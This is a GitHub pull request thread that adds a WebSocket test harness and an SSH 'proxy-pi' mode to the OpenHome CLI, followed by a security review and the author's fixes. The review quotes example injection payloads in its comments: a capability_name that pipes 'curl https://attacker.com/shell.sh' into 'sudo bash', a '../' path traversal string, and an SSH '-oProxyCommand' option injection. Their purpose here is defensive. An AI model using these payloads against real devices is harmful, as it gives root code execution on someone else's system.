feat: add openhome test — fire trigger + assert on frame stream

[realdecimalist]

Hi @Bradymck — per your suggestion in Discord about whether the harness I shared was worth merging into the CLI: here's a port. This turns the standalone voice-test.mjs we've been using on the DevKit into a proper subcommand.

Why

openhome chat and openhome trigger are great for "did anything come back", but iterating on a deployed ability still means reading WebSocket logs by eye and squinting for the right routing event / log line / spoken phrase. With the cloud module cache lag and routing nondeterminism, a tight assertion-based loop is the difference between 30s iterations and 5–15min ones.

Real-world motivation:

• We hit exec_local_command-from-skill silent hangs (abilities#260) and session_tasks.create(self.run()) coroutine cancellation (abilities#261) — bugs we couldn't have characterized confidently without watching the frame stream programmatically across many runs
• Cloud module caching (abilities#220) means "the new commit landed" doesn't always mean "the new code is running" — assertions catch this immediately

What it does

openhome test "any new tickets" \
  --expect-cap my-skill \
  --expect-log "STEP A0" \
  --expect-log "STEP D probe returned" \
  --expect-speak "Tickets:" \
  --reject-speak "couldn't generate" \
  --timeout 90000 --json

• Opens a fresh voice-stream WebSocket via the existing createAgentSocket helper
• Waits for the wake greeting (assistant final=true), then injects the trigger
• Watches the frame stream for: chat_details:{name:...} (cap routing), editor_logging_handler log lines, and final assistant speech
• Exits 0 on success, 1 on missed assertion / timeout, 2 on setup error
• --json returns {ok, pass, asserts: [{kind, expression, met}...], elapsed_ms, log_file, agent, trigger}

Implementation

• Reuses every WS abstraction the CLI already has — no new WebSocket lifecycle code, just a new consumer of createAgentSocket's onTextMessage / onEvent callbacks
• Inherits getApiKey() precedence (env > keychain > config), agent resolution, and interactive-picker patterns from trigger.ts / logs.ts
• --json shape matches the rest of the CLI: {ok: false, error: {code, message}} on failure
• Pure helpers (src/testing/asserts.ts, src/testing/frame-log.ts) are isolated from I/O so they're trivially unit-testable

Files

File	Purpose
src/commands/test.ts	Command driver — auth, flag parsing, WS lifecycle
src/testing/asserts.ts	Pure assertion tracker (cap / log / speak / reject)
src/testing/frame-log.ts	Frame stream capture for --log-file debugging
src/testing/asserts.test.ts	8 vitest cases
src/testing/frame-log.test.ts	4 vitest cases
src/cli.ts	Register test subcommand + agent-reference doc
README.md	New openhome test section + API-status row

Tested

• npm test — 12/12 pass (this is the first test file in the repo; vitest config was already in place)
• npm run build — clean
• npm run lint — no new errors (the pre-existing MockApiClient error is unrelated and on main)
• Smoke-tested AUTH_ERROR / BAD_REGEX / MISSING_TRIGGER paths return well-formed JSON + exit 2
• Used the standalone .mjs ancestor of this same harness over the past week to ship a real Penny ability against the OpenHome cloud — assertions caught routing regressions that voice-only testing missed

Caveat (documented in the README + JSON output)

openhome test opens a new voice-stream WS to the same agent, so if a hardware client (e.g. the OpenHome DevKit kiosk) is currently connected, the cloud will close that session ("Connection Replaced", code 1000). Iterate with test, then bring the hardware back online for final verification.

Happy to take feedback on the command name (test vs assert vs voice-test), the JSON shape, or anything else. Thanks for the prompt to upstream this!

[realdecimalist]

Hey @Bradymck — quick update on this PR. With Local Abilities shipping last week, I extended the harness so it can drive end-to-end tests of category: local abilities too. Without it, opening a fresh voice-stream WS displaces the kiosk session and the cloud routes devkit-capability dispatches back to the test client (us) instead of the Pi — so the harness can record the frame but not ACK it, and main.py's await send_devkit_capability_action() always times out.

The new --proxy-pi <ssh-target> flag makes the test command mirror what the DevKit's openhome-node-server/index.js:585+ does on receipt of the frame: SSH-exec the same sudo python3 .../devkit_functions.py <fn> <args> and ACK with devkit-capability-result. The cloud sees a normal device round-trip; main.py's await resolves with the function's stdout. Plain openhome test (no flag) is unchanged.

Verified end-to-end against the discord-pulse rebuild I shipped this morning as a Local Ability:

• "ticket pulse" → 14s PASS, agent speaks the live ticket count from the host
• "team pulse" → 11s PASS, multi-queue summary
• "approval pulse" → 11s PASS, approvals snapshot

Total test count went 12 → 29 (devkit-proxy.test.ts covers shell-quoting edges, command construction, frame shape, dispatch semantics with an injectable exec hook so no subprocess in tests).

Happy to split this into a separate PR after #15 lands if you'd prefer to keep the initial harness review focused — let me know.

[sentientari-commits]

Really solid contribution — the --proxy-pi approach to the kiosk displacement problem is clever and the code is well-structured. Two blocking security issues in devkit-proxy.ts before this can merge, plus a few smaller items. All fixes are small.

Blocking:

1. capability_name and function_name from the cloud WebSocket are embedded in an SSH shell command without sanitization — command injection + path traversal → RCE on the Pi under sudo
2. capDir has the same problem in buildRemoteCommand
3. Missing -- before the SSH target — SSH option injection

Non-blocking:
4. Unhandled promise rejection on handleDevkitCapability — silent crash in Node 15+
5. reject-speak hit doesn't settle fast — always shows reason: "timeout" instead of the actual rejection

Happy to discuss any of these. See inline comments for specifics.

[sentientari-commits]

[BLOCKING] Command injection + path traversal → RCE on Pi

capability_name arrives from the OpenHome cloud WebSocket and is interpolated directly into the remote shell command with no validation. shq() is applied to functionName and args but not to capabilityName, and it wouldn't help anyway — shq() prevents word splitting but doesn't strip shell metacharacters or path traversal sequences.

Two distinct attack vectors from the same root:

Shell injection — cloud sends:

{ "capability_name": "foo; curl https://attacker.com/shell.sh | sudo bash #" }

Remote shell sees:

sudo python3 /home/openhome/.../foo; curl https://attacker.com/shell.sh | sudo bash #/devkit_functions.py 'run'

Path traversal — cloud sends:

{ "capability_name": "../../../../../../tmp/evil" }

Resolves to sudo python3 /tmp/evil/devkit_functions.py — arbitrary file execution as root.

The sudo prefix makes both high severity. Fix with a strict allowlist at the entry point in handleDevkitCapability:

const SAFE_IDENT = /^[a-zA-Z0-9_-]+$/;
if (!SAFE_IDENT.test(cap) || !SAFE_IDENT.test(fn)) {
  return {
    type: "devkit-capability-result",
    data: { capability_name: cap ?? null, function_name: fn ?? null, args: [], success: false, output: null, error: "capability_name and function_name must be alphanumeric, hyphen, or underscore only" },
  };
}

Also wrap script in shq() as defence-in-depth:

return `sudo python3 ${shq(script)} ${shq(functionName)}${argsShell ? " " + argsShell : ""}`;

[sentientari-commits]

[BLOCKING] capDir is also unquoted in the shell command

Same issue as capability_name — capDir comes from --proxy-pi-cap-dir (CLI flag, so trusted today) but is never passed through shq() before being embedded in the remote shell command string. Any future code path that sources capDir from less-trusted input would be immediately exploitable.

Fix: shq(capDir) in the path construction:

const script = `${shq(capDir)}/${capabilityName}/devkit_functions.py`;

(After the SAFE_IDENT allowlist guard on capabilityName above is also in place.)

[sentientari-commits]

[BLOCKING] SSH option injection — missing -- before target

target is passed directly as a positional argument to spawn('ssh', [..., target, command]). SSH parses arguments left-to-right and treats anything starting with - as an option, not a hostname. A target like -oProxyCommand=malicious_cmd user@host would inject an SSH ProxyCommand, executing an arbitrary local command.

While --proxy-pi is a CLI flag (trusted in normal use), adding -- is a one-character fix that closes the injection surface permanently:

const child = spawn("ssh", [
  "-o", "BatchMode=yes",
  "-o", `ConnectTimeout=${SSH_CONNECT_TIMEOUT_S}`,
  "--",   // <-- prevent option injection
  target,
  command,
]);

[sentientari-commits]

[Non-blocking] Unhandled promise rejection — silent crash in Node 15+

handleDevkitCapability(...).then(...) has no .catch(). sshExec resolves rather than rejects on SSH failure, so the happy path is fine — but any unexpected throw inside handleDevkitCapability or buildRemoteCommand produces an unhandled rejection. In Node.js 15+, that crashes the process with no output, no log file written, and settle() never called, so CI consumers get nothing instead of a failure result.

handleDevkitCapability(frame, { sshTarget: opts.proxyPi, capDir: opts.proxyPiCapDir })
  .then((resultFrame) => {
    log.push("proxy-pi", `result success=${resultFrame.data.success}`);
    socket.send(resultFrame.type, resultFrame.data);
  })
  .catch((err) => {
    const msg = err instanceof Error ? err.message : String(err);
    log.push("proxy-pi-error", msg);
    settle({ pass: false, reason: `devkit proxy error: ${msg}` });
    socket.close();
  });

[sentientari-commits]

[Non-blocking] reject-speak hit doesn't fail fast — always reports timeout as the reason

When a rejectSpeak pattern fires, done() returns false permanently. The onEvent handler in test.ts only calls settle() when asserts.done() is true, so the run continues until the timeout fires and settles with reason: "timeout" — masking the actual rejection. The asserts.toRecords() output does show the reject hit, but the top-level reason string is misleading, especially in CI --json output.

In test.ts onEvent, add a fast-settle check after each observeAssistantSpeak call:

if (asserts.rejected()) {
  const hit = asserts.toRecords().find(r => r.kind === 'reject' && r.hit)?.hit ?? '';
  settle({ pass: false, reason: `rejected-speak: ${hit.slice(0, 120)}` });
  socket.close();
  return;
}

Posted from wrong account — review stands, re-filed by @Bradymck

[Bradymck]

Really solid contribution — the --proxy-pi approach to the kiosk displacement problem is clever and the code is well-structured. Two blocking security issues in devkit-proxy.ts before this can merge, plus a few smaller items. All fixes are small.

Blocking:

1. capability_name and function_name from the cloud WebSocket are embedded in an SSH shell command without sanitization — command injection + path traversal → RCE on the Pi under sudo
2. capDir has the same problem in buildRemoteCommand
3. Missing -- before the SSH target — SSH option injection

Non-blocking:
4. Unhandled promise rejection on handleDevkitCapability — silent crash in Node 15+
5. reject-speak hit doesn't settle fast — always shows reason: "timeout" instead of the actual rejection

Happy to discuss any of these. See inline comments for specifics.

[Bradymck]

[BLOCKING] Command injection + path traversal → RCE on Pi

capability_name arrives from the OpenHome cloud WebSocket and is interpolated directly into the remote shell command without validation. shq() is applied to functionName and args but not to capabilityName — and even if it were, shq() prevents word splitting but does not strip shell metacharacters or ../ path traversal.

Shell injection — cloud sends { "capability_name": "foo; curl https://attacker.com/shell.sh | sudo bash #" }, remote shell executes the curl as a separate command with sudo context.

Path traversal — cloud sends { "capability_name": "../../../../../../tmp/evil" }, resolves to sudo python3 /tmp/evil/devkit_functions.py.

Fix: allowlist at the handleDevkitCapability entry point before anything reaches buildRemoteCommand:

const SAFE_IDENT = /^[a-zA-Z0-9_-]+$/;
if (!SAFE_IDENT.test(cap) || !SAFE_IDENT.test(fn)) {
  return { type: "devkit-capability-result", data: { ..., success: false, error: "capability_name/function_name must be [a-zA-Z0-9_-] only" } };
}

Also add shq(script) in buildRemoteCommand as defence-in-depth:

return `sudo python3 ${shq(script)} ${shq(functionName)}...`;

[Bradymck]

[BLOCKING] capDir is also unquoted in the shell command

Same root cause — capDir is never passed through shq() before being embedded in the remote shell string. Today it comes from --proxy-pi-cap-dir (a CLI flag, so trusted), but it is unquoted in a shell context. If this path is ever sourced from less-trusted input it is immediately injectable.

One-line fix in buildRemoteCommand:

const script = `${shq(capDir)}/${capabilityName}/devkit_functions.py`;

(The SAFE_IDENT guard on capabilityName still needs to be the primary control.)

[Bradymck]

[BLOCKING] Missing -- before SSH target — option injection

target is passed as a positional argument to spawn("ssh", [..., target, command]) with no separator. SSH parses anything starting with - as a flag, not a hostname. A value like -oProxyCommand=malicious_cmd user@host would inject an SSH directive and execute an arbitrary local command.

One-character fix:

const child = spawn("ssh", [
  "-o", "BatchMode=yes",
  "-o", `ConnectTimeout=${SSH_CONNECT_TIMEOUT_S}`,
  "--",      // prevents option injection
  target,
  command,
]);

[Bradymck]

[Non-blocking] Unhandled promise rejection — silent crash in Node 15+

handleDevkitCapability(...).then(...) has no .catch(). sshExec resolves rather than rejects on SSH failure, so the common path is fine — but any unexpected throw inside handleDevkitCapability or buildRemoteCommand produces an unhandled rejection. In Node 15+, that terminates the process immediately with no log file written and no JSON output.

handleDevkitCapability(frame, { sshTarget: opts.proxyPi, capDir: opts.proxyPiCapDir })
  .then((resultFrame) => {
    log.push("proxy-pi", `result success=${resultFrame.data.success}`);
    socket.send(resultFrame.type, resultFrame.data);
  })
  .catch((err) => {
    const msg = err instanceof Error ? err.message : String(err);
    log.push("proxy-pi-error", msg);
    settle({ pass: false, reason: `devkit proxy error: ${msg}` });
    socket.close();
  });

[Bradymck]

[Non-blocking] reject-speak hit always reports reason: "timeout" instead of the actual rejection

When a rejectSpeak pattern fires, done() returns false permanently. The onEvent handler in test.ts only calls settle() when asserts.done() is true, so the run keeps going until the timeout fires — then exits with reason: "timeout" rather than indicating the rejection. The asserts.toRecords() output does show which pattern fired, but the top-level reason string is misleading in --json CI output.

In test.ts onEvent, add a fast-settle check after each observeAssistantSpeak call:

if (asserts.rejected()) {
  const hit = asserts.toRecords().find(r => r.kind === "reject" && r.hit)?.hit ?? "";
  settle({ pass: false, reason: `rejected-speak: ${hit.slice(0, 120)}` });
  socket.close();
  return;
}

[realdecimalist]

Thanks for the thorough review @Bradymck — really appreciate the security walk-through. Just pushed acc37a1 addressing all five items:

Blocking (security):

1. Allowlist at the entry point — handleDevkitCapability now rejects capability_name / function_name that don't match /^[a-zA-Z0-9_-]+$/ with a failure result frame, before anything reaches buildRemoteCommand. Closes the shell-injection and ../ path-traversal vectors at the source.
2. shq() on the script path — buildRemoteCommand now shq()-wraps the constructed script path as defence-in-depth. Belt-and-suspenders: even if a future change loosens the allowlist, no untrusted value lands in shell context unquoted.
3. -- before SSH target — sshExec now passes -- before target so any value starting with - can't be interpreted as an SSH option (no more -oProxyCommand=... injection surface).

Non-blocking:

4. .catch() on handleDevkitCapability — the .then(...) in test.ts onEvent now has a matching .catch(...) that routes any thrown error through settle({ pass: false, reason: ... }) and closes the socket. CI consumers will now get a JSON failure result instead of a silent Node 15+ termination.
5. Fast-settle on asserts.rejected() — added right after each observeAssistantSpeak. A reject-speak hit now settles immediately with reason: \"rejected-speak: <content>\" instead of letting the run idle until the timeout fires and reporting reason: \"timeout\".

Tests: updated 3 buildRemoteCommand expectations for the new shq(script) wrap; added 4 new cases covering the security allowlist (shell injection in capability_name, path traversal in capability_name, shell injection in function_name, plus a happy-path that confirms exec is still called for well-formed identifiers and the script path is shq-wrapped). 33/33 passing (was 29/29).

No behavioral changes for the happy path on existing callers. Let me know if you want any additional cases.